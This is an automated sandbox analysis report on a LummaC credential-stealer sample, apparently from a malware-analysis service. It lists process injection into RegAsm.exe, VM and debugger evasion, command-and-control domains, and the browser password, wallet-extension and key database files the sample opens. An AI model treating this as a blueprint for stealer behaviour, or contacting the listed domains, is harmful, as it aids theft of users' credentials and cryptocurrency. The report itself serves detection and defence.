Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00430900 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_00430900

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00430900 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_00430900

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_004314B9 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

1_2_004314B9

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003A6294	0_2_003A6294
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C2410	0_2_003C2410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BE530	0_2_003BE530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003DC528	0_2_003DC528
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C4580	0_2_003C4580
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FA760	0_2_003FA760
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003CA7B0	0_2_003CA7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C08A0	0_2_003C08A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E0880	0_2_003E0880
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003B9083	0_2_003B9083
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FAA50	0_2_003FAA50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003DAB2E	0_2_003DAB2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E6B8E	0_2_003E6B8E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FAD70	0_2_003FAD70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F2F10	0_2_003F2F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BEF40	0_2_003BEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E2FD4	0_2_003E2FD4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E12C0	0_2_003E12C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BD710	0_2_003BD710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D9820	0_2_003D9820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003A9996	0_2_003A9996
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F5B70	0_2_003F5B70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BFBE4	0_2_003BFBE4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E1C0E	0_2_003E1C0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E1C63	0_2_003E1C63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003DBD10	0_2_003DBD10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E5E01	0_2_003E5E01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BDE62	0_2_003BDE62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00440360	1_2_00440360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00421910	1_2_00421910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00404B40	1_2_00404B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00428BD4	1_2_00428BD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00408010	1_2_00408010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00422128	1_2_00422128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0040413F	1_2_0040413F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0040A180	1_2_0040A180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041D25E	1_2_0041D25E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00403310	1_2_00403310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004103B0	1_2_004103B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041F420	1_2_0041F420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00426480	1_2_00426480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004064A0	1_2_004064A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00440650	1_2_00440650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00401740	1_2_00401740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0043B770	1_2_0043B770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00403775	1_2_00403775
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042072E	1_2_0042072E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042C78E	1_2_0042C78E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00427863	1_2_00427863
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042780E	1_2_0042780E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00440970	1_2_00440970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004069E0	1_2_004069E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004059E0	1_2_004059E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042BA01	1_2_0042BA01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00438B10	1_2_00438B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00405C7C	1_2_00405C7C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00426EC0	1_2_00426EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041DECA	1_2_0041DECA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00405F9F	1_2_00405F9F

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00397080 appears 51 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 003CA930 appears 205 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 003C2E70 appears 63 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00408A70 appears 61 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00410530 appears 205 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: .Shine ZLIB complexity 0.9983661079123328

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@1/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042D2DB CoCreateInstance,

1_2_0042D2DB

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: file.exe

Static PE information: section name: .Shine

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00396A80 push ecx; ret	0_2_00396A93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004434DB push esi; ret	1_2_004434E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004448B5 push ss; ret	1_2_004448B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004449FD push edi; retf	1_2_00444A05
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00444B62 push edi; ret	1_2_00444B65

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

API coverage: 9.3 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 648

Thread sleep time: -90000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003A7331 FindFirstFileExW,

0_2_003A7331

Source: RegAsm.exe, 00000001.00000002.1731031768.0000000000716000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn
Source: RegAsm.exe, 00000001.00000002.1730875734.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1731031768.0000000000716000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0043CD20 LdrInitializeThunk,

1_2_0043CD20

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00396E56 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00396E56

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003A84AC mov eax, dword ptr fs:[00000030h]		0_2_003A84AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0039F2BC mov ecx, dword ptr fs:[00000030h]		0_2_0039F2BC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003AAAAB GetProcessHeap,

0_2_003AAAAB

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00396E56 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00396E56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00396FB2 SetUnhandledExceptionFilter,	0_2_00396FB2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003970C5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_003970C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0039B916 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0039B916

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: demonstationfukewko.shop
Source: file.exe	String found in binary or memory: liabilitynighstjsko.shop
Source: file.exe	String found in binary or memory: alcojoldwograpciw.shop
Source: file.exe	String found in binary or memory: incredibleextedwj.shop
Source: file.exe	String found in binary or memory: shortsvelventysjo.shop
Source: file.exe	String found in binary or memory: shatterbreathepsw.shop
Source: file.exe	String found in binary or memory: tolerateilusidjukl.shop
Source: file.exe	String found in binary or memory: productivelookewr.shop
Source: file.exe	String found in binary or memory: greetclassifytalk.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 441000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 444000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 304008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00396B7C cpuid

0_2_00396B7C

Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_003AA0E0
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_003AA187
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_003AA1D2
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_003AA26D
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_003AA2F8
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_003AA54B
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_003AA674
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_003AA77A
Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_003AA849
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_003A1AC2
Source: C:\Users\user\Desktop\file.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_003A9EE5
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_003A1FE8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00396D50 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00396D50

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000001.00000002.1731031768.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: RegAsm.exe, 00000001.00000002.1731031768.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: RegAsm.exe, 00000001.00000002.1731031768.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: RegAsm.exe, 00000001.00000002.1731031768.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: RegAsm.exe, 00000001.00000002.1731031768.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: RegAsm.exe, 00000001.00000002.1731031768.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
